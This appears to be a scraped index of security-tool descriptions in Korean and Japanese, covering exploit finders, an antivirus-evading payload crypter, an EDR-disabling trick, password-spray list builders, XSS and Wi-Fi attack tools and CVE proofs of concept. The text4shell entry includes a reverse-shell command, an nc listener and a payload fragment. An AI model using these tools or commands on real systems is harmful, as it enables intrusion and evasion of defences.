DDexec

DDexec 소식 DDexec를 거의 알아볼 수 없을 정도로 업데이트했습니다. ELF 파싱은 이제 셸 스크립트 대신 기계어 코드로 수행되어 훨씬 빠르고, 신뢰할 수 있으며, 이해하기 쉬워졌습니다. 또한 의존성 수를 최소한으로 줄였습니다. 또한 이제 셸의 산술 연산에 거의 의존하지 않아 Android에서도 작동할 수 있습니다. 배경 Linux에서 프로그램을 실행하려면 파일로 존재해야 하며, 파일 시스템 계층 구조를 통해 접근 가능해야 합니다이는 execve 작동 방식입니다. 이 파일은 디스크나 램tmpfs, memfd에 있을 수...

sidedoor

sidedoor sidedoor는 쉘 스크립트 데몬을 사용하여 SSH 연결 또는 터널을 유지 관리합니다. 주요 사용 사례는 로컬 SSH 서버또는 다른 포트에 대한 원격 포트 포워드를 유지하는 것입니다. 따라서 로컬 장치는 NAT, 방화벽에 의해 차단되거나 모바일 장치에서 실용적이지 않은 수신 연결을 사용하지 않고도 액세스할 수 있습니다. SSH 클라이언트는 sidedoor가 터널링하는 역방향 SSH 프록시를 통해 장치에 연결할 수 있습니다. 이 프록시 서버는 신뢰할 수 없으며 제3자 또는 클라우드 서비스에 의해 실행될 수...

ASWCrypter

ASWCrypter 스크립트 v1.0 100% FUD에 오신 것을 환영합니다 현재까지 모든 안티바이러스를 우회하는 페이로드를 생성하는 Bash 및 Python 스크립트 FUD ; . 백도어를 WWW.VIRUSTOTAL.COM에 업로드하지 마십시오. 23/08/2018 중요 이 버전은 테스트용입니다. 앞으로 ASWCrypter를 업데이트하여 Linux, Mac, Windows용 페이로드를 생성할 예정입니다. ; 법적 고지: 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 이는 오직 교육 목적으로만 사용해야 합니다. ...

Findsploit

Findsploit - @xer0dayz 제작 https://sn1persecurity.com 소개 Findsploit은 로컬 및 온라인 익스플로잇 데이터베이스를 빠르고 쉽게 검색할 수 있는 간단한 bash 스크립트입니다. 이 저장소는 또한 현재 디렉토리로 exploit-db 익스플로잇을 복사하는 "copysploit"과 C 익스플로잇을 자동으로 컴파일 및 실행하는 "compilesploit"을 포함합니다 예: ./copysploit 1337.c && ./compilesploit 1337.c. 이 스크립트 업데이트를 위해...

reconftw

reconFTW !Dockerhttps://img.shields.io/badge/docker-%230db7ed.svg?style=for-the-badge&logo=docker&logoColor=w...

HunterScrape

이것은 hunter.io API를 사용하여 대상 도메인의 데이터를 가져온 후 대상 이메일 목록을 생성하는 python 스크립트입니다. 주로 Go365 또는 TREVORspray와 같은 도구를 사용한 패스워드 스프레이 공격을 위해 사용됩니다. 사용법: HunterScrape-Dev.py -h -d DOMAIN -k KEY -l LIMIT -f -o OUTFILE 옵션: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -d DOMAIN, --domain DOMAIN 대상 도메인을 지정합니다 -k KEY, --key KE...

kalimux

...

GhostInTheNet

GhostInTheNet Ultimate Network Stealther that makes Linux a Ghost In The Net and protects from MITM/DOS/scan 속성: 네트워크 비가시성 네트워크 익명성 MITM/DOS 보호 투명성 크로스 플랫폼 최소주의적 의존성: Linux 2.4.26+ - Whonix 및 RaspberryPI를 포함한 모든 Linux 기반 OS에서 작동 BASH - 전체 스크립트 루트 권한 - 커널 제어용 제한 사항: 이더넷 사용 시 VLAN 로그, WiFi 사용 시 삼각...

FarsightAD

FarsightAD 목차 FarsightAD 목차 설명 사전 요구 사항 기본 사용법 AD 헌팅 cmdlet 데모 완전/부분적으로 숨겨진 객체 탐지 감사의 말 감사 인사 저자 라이선스 설명 FarsightAD는 Active Directory 도메인 침해 이후 위협 행위자가 배포한 가능한 지속성 메커니즘을 발견하는 데 도움을 주기 위해 설계된 PowerShell 스크립트입니다. 이 스크립트는 복제 메타데이터의 타임스탬프로 보강된 다양한 객체와 해당 속성들을 CSV/JSON 파일로 내보냅니다. 또한, 복제 권한으로 실행될 경우...

MoveEdr

MoveEDR 管理者であれば、ブート直後でサービスが開始される前に、Windows にフォルダやファイルの削除・移動を強制させることができます。これは EDR を無効化するために利用できます。 使い方 !CAUTION CrowdStrike には問題があり、「INACCESSIBLEBOOTDEVICE」というメッセージが表示されてブートループに陥ります。 私の推測では、CrowdStrike 自体かソフトウェア展開ソリューションが、欠落した CrowdStrike ファイルをインストールしようとするものの失敗し、壊れた状態のまま残してしまうのだと思います。...

webcopilot

WebCopilot 서브도메인을 열거한 후 xss, sqli, open redirect, lfi, ssrf, rce 파라미터를 필터링하고 취약점을 스캔하는 자동화 도구입니다. 기능 • 설치 • 사용법 • WebCopilot 실행 • 사용된 도구 • 감사의 말 WebCopilot 은 대상의 서브도메인을 열거하고 다양한 오픈 소스 도구를 사용하여 버그를 탐지하도록 설계된 자동화 도구입니다. 이 스크립트는 먼저 assetfinder, sublister, subfinder, amass, findomain, hackertarget,...

POC-CVE-2021-41773

POC-CVE-2021-41773 これは、CVE-2021-41773 に対して脆弱な Apache HTTPd 2.4.49 用のシンプルなスクリプトです。 使用方法: 1つのIPをチェック ファイルからチェック...

Wifi-Purple

🌐 WIFI-PURPLE 🌐 와이파이 해킹 자동화 스크립트 이 Python 스크립트 "WIFI-PURPLE"은 WiFi 보안 테스트 및 해킹을 위해 설계된 네트워크 도구입니다. 사용자 친화적인 명령줄 인터페이스를 제공하며, 다양한 무선 네트워크 관련 작업을 수행하기 위해 널리 사용되는 네트워크 도구를 활용합니다. 𝗜nstallation root@kitploit: git clone https://github.com/emrekybs/Wifi-Purple.git cd Wifi-Purple sudo ./install.sh python...

CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640 : 権限昇格 CVE-2023-32629 & CVE-2023-2640 を使用した Ubuntu 権限昇格 bash ワンライナー。 完全に https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 からパクりました 元のソースをリツイートしてください このスクリプトを自分のために Github に保存しておき、簡単に共有したかっただけです。...

XanXSS

XanXSS XanXSS는 템플릿을 기반으로 페이로드를 생성하는 반사형 XSS 탐색 도구입니다 DOM 지원 예정. 단순히 페이로드 목록을 실행하는 다른 XSS 스캐너와 달리, XanXSS는 페이로드를 식별 불가능하게 만들기 위해 노력합니다. 예를 들어: root@kitploit: /cLIcKMe!XaNxss XanXSS를 사용하면 모든 페이로드가 다릅니다. XanXSS는 지정된 수의 페이로드가 발견되거나 타이머가 최대 시간에 도달할 때까지 페이로드를 실행하며, 이는 너무 오래 루핑되는 것을 방지합니다. XanXSS에 포함된 일...

WordListGen

WordListGen 암호 크래킹Hashcat을 위한 초간단 Python 단어 목록 생성기! 무슨 생각을 하시는지 압니다. 왜 또 다른 단어 목록 생성기를 만드는 거지? 음, 저는 당면한 작업에 정확한 문자 생성기를 얻기 위해 즉석에서 수정할 수 있는 아주 간단한 무언가가 필요했습니다. 이 스크립트는 그 자체로 완전히 기능하지만, CTF나 침투 테스트 중에 즉석에서 쉽게 수정할 수 있도록 설계되었습니다. Python 도움말 문서: root@kitploit: wordlistgen.py -h WordListGen: 0.2...

text4shell-exploit

text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...

CVE-2011-1473-POC

CVE-2011-1473-POC CVE-2011-1473 POCスクリプト 使用方法 root@kitploit: python3 poc-CVE-2011-1473.py --target TARGETHOST --count 5 --debug...

cve-2020-1350

これは、コンピュータが属するドメインのすべてのADサーバーを取得するPowerShellスクリプトです。その後、それらのサーバーにCVE 2020-1350 DNSの回避策を設定し、DNSを再起動します。 注記!! DNSを再起動するため、実行にはメンテナンスウィンドウが必要になる場合があります。この回避策はサーバーのパッチ適用を回避できるという意味ではありませんが、特にインターネット上にWindowsサーバーがある場合、時間を稼ぐのに役立つはずです。 cve-2020-1350の詳細はこちら -...

CVE-2020-3452

CVE-2020-3452 Cisco Adaptive Security Appliance ASA および Cisco Firepower Threat Defense FTD アプライアンスの Web インターフェースにおけるディレクトリトラバーサル脆弱性を悪用するための WIP Python スクリプトです。指定されたターゲットに対してディレクトリが作成され、ダウンロードされたファイルはそれぞれのディレクトリに保存されることに注意してください。また、ログ機能も提供されています。...